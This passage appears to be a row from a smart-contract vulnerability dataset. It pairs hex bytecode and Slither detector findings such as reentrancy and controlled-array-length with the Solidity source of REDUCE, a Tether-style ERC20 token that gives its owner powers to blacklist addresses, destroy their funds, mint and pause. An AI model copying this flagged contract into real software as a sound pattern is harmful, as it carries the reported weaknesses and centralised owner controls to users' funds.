f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b602083106146745780518252602082019150602081019050602083039250614651565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146146d6576040519150601f19603f3d011682016040523d82523d6000602084013e6146db565b606091505b509150915081614753576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b6000815111156147d95780806020019051602081101561477257600080fd5b81019080805190602001909291905050506147d8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180614be9602a913960400191505060405180910390fd5b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415614865576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180614b7f6021913960400191505060405180910390fd5b6148d081604051806060016040528060228152602001614acc602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128ff9092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506149278160025461454a90919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008083118290614a43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015614a085780820151818401526020810190506149ed565b50505050905090810190601f168015614a355780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581614a4f57fe5b049050809150509392505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91506000801b8214158015614a9f5750808214155b9250505091905056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820bee4c88139742922fbaec696f2b6157eb6566da6e55f0ff6b2ca3e5b9a967bf964736f6c63430005110032 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 889 |
0x0394d61c526e2fe75113c4941a2a5ca6a147d6ea | /**
*Submitted for verification at Etherscan.io on 2021-05-31
*/
/**
*Submitted for verification at Etherscan.io on 2020-07-18
*/
pragma solidity ^0.4.17;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(msg.sender, owner, fee);
}
Transfer(msg.sender, _to, sendAmount);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(_from, owner, fee);
}
Transfer(_from, _to, sendAmount);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BlackList is Ownable, BasicToken {
/////// Getters to allow the same blacklist to be used also by other contracts (including upgraded Tether) ///////
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
contract REDUCE is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
function REDUCE(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
_totalSupply = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
} | 0x608060405260043610610196576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461019b5780630753c30c1461022b578063095ea7b31461026e5780630e136b19146102bb5780630ecb93c0146102ea57806318160ddd1461032d57806323b872dd1461035857806326976e3f146103c557806327e235e31461041c578063313ce56714610473578063353907141461049e5780633eaaf86b146104c95780633f4ba83a146104f457806359bf1abe1461050b5780635c658165146105665780635c975abb146105dd57806370a082311461060c5780638456cb5914610663578063893d20e81461067a5780638da5cb5b146106d157806395d89b4114610728578063a9059cbb146107b8578063c0324c7714610805578063cc872b661461083c578063db006a7514610869578063dd62ed3e14610896578063dd644f721461090d578063e47d606014610938578063e4997dc514610993578063e5b5019a146109d6578063f2fde38b14610a01578063f3bdc22814610a44575b600080fd5b3480156101a757600080fd5b506101b0610a87565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101f05780820151818401526020810190506101d5565b50505050905090810190601f16801561021d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023757600080fd5b5061026c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b25565b005b34801561027a57600080fd5b506102b9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c42565b005b3480156102c757600080fd5b506102d0610d95565b604051808215151515815260200191505060405180910390f35b3480156102f657600080fd5b5061032b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da8565b005b34801561033957600080fd5b50610342610ec1565b6040518082815260200191505060405180910390f35b34801561036457600080fd5b506103c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fa9565b005b3480156103d157600080fd5b506103da61118e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561042857600080fd5b5061045d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b4565b6040518082815260200191505060405180910390f35b34801561047f57600080fd5b506104886111cc565b6040518082815260200191505060405180910390f35b3480156104aa57600080fd5b506104b36111d2565b6040518082815260200191505060405180910390f35b3480156104d557600080fd5b506104de6111d8565b6040518082815260200191505060405180910390f35b34801561050057600080fd5b506105096111de565b005b34801561051757600080fd5b5061054c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061129c565b604051808215151515815260200191505060405180910390f35b34801561057257600080fd5b506105c7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112f2565b6040518082815260200191505060405180910390f35b3480156105e957600080fd5b506105f2611317565b604051808215151515815260200191505060405180910390f35b34801561061857600080fd5b5061064d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061132a565b6040518082815260200191505060405180910390f35b34801561066f57600080fd5b50610678611451565b005b34801561068657600080fd5b5061068f611511565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106dd57600080fd5b506106e661153a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561073457600080fd5b5061073d61155f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561077d578082015181840152602081019050610762565b50505050905090810190601f1680156107aa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156107c457600080fd5b50610803600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115fd565b005b34801561081157600080fd5b5061083a60048036038101908080359060200190929190803590602001909291905050506117ac565b005b34801561084857600080fd5b5061086760048036038101908080359060200190929190505050611891565b005b34801561087557600080fd5b5061089460048036038101908080359060200190929190505050611a88565b005b3480156108a257600080fd5b506108f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c1b565b6040518082815260200191505060405180910390f35b34801561091957600080fd5b50610922611d78565b6040518082815260200191505060405180910390f35b34801561094457600080fd5b50610979600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d7e565b604051808215151515815260200191505060405180910390f35b34801561099f57600080fd5b506109d4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d9e565b005b3480156109e257600080fd5b506109eb611eb7565b6040518082815260200191505060405180910390f35b348015610a0d57600080fd5b50610a42600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611edb565b005b348015610a5057600080fd5b50610a85600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fb0565b005b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b1d5780601f10610af257610100808354040283529160200191610b1d565b820191906000526020600020905b815481529060010190602001808311610b0057829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b8057600080fd5b6001600a60146101000a81548160ff02191690831515021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fcc358699805e9a8b7f77b522628c7cb9abd07d9efb86b6fb616af1609036a99e81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b604060048101600036905010151515610c5a57600080fd5b600a60149054906101000a900460ff1615610d8557600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663aee92d333385856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015610d6857600080fd5b505af1158015610d7c573d6000803e3d6000fd5b50505050610d90565b610d8f8383612134565b5b505050565b600a60149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e0357600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615610fa057600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015610f5e57600080fd5b505af1158015610f72573d6000803e3d6000fd5b505050506040513d6020811015610f8857600080fd5b81019080805190602001909291905050509050610fa6565b60015490505b90565b600060149054906101000a900460ff16151515610fc557600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561101e57600080fd5b600a60149054906101000a900460ff161561117d57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638b477adb338585856040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050600060405180830381600087803b15801561116057600080fd5b505af1158015611174573d6000803e3d6000fd5b50505050611189565b6111888383836122d1565b5b505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60026020528060005260406000206000915090505481565b60095481565b60045481565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561123957600080fd5b600060149054906101000a900460ff16151561125457600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6005602052816000526040600020602052806000526040600020600091509150505481565b600060149054906101000a900460ff1681565b6000600a60149054906101000a900460ff161561144057600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156113fe57600080fd5b505af1158015611412573d6000803e3d6000fd5b505050506040513d602081101561142857600080fd5b8101908080519060200190929190505050905061144c565b61144982612778565b90505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114ac57600080fd5b600060149054906101000a900460ff161515156114c857600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115f55780601f106115ca576101008083540402835291602001916115f5565b820191906000526020600020905b8154815290600101906020018083116115d857829003601f168201915b505050505081565b600060149054906101000a900460ff1615151561161957600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561167257600080fd5b600a60149054906101000a900460ff161561179d57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636e18980a3384846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561178057600080fd5b505af1158015611794573d6000803e3d6000fd5b505050506117a8565b6117a782826127c1565b5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561180757600080fd5b60148210151561181657600080fd5b60328110151561182557600080fd5b81600381905550611844600954600a0a82612b2990919063ffffffff16565b6004819055507fb044a1e409eac5c48e5af22d4af52670dd1a99059537a78b31b48c6500a6354e600354600454604051808381526020018281526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118ec57600080fd5b600154816001540111151561190057600080fd5b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115156119d057600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806001600082825401925050819055507fcb8241adb0c3fdb35b70c24ce35c5eb0c17af7431c99f827d44a445ca624176a816040518082815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ae357600080fd5b8060015410151515611af457600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611b6357600080fd5b8060016000828254039250508190555080600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055507f702d5967f45f6513a38ffc42d6ba9bf230bd40e8f53b16363c7eb4fd2deb9a44816040518082815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615611d6557600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015611d2357600080fd5b505af1158015611d37573d6000803e3d6000fd5b505050506040513d6020811015611d4d57600080fd5b81019080805190602001909291905050509050611d72565b611d6f8383612b64565b90505b92915050565b60035481565b60066020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611df957600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f3657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611fad57806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561200d57600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561206557600080fd5b61206e8261132a565b90506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806001600082825403925050819055507f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c68282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b60406004810160003690501015151561214c57600080fd5b600082141580156121da57506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1515156121e657600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3505050565b60008060006060600481016000369050101515156122ee57600080fd5b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160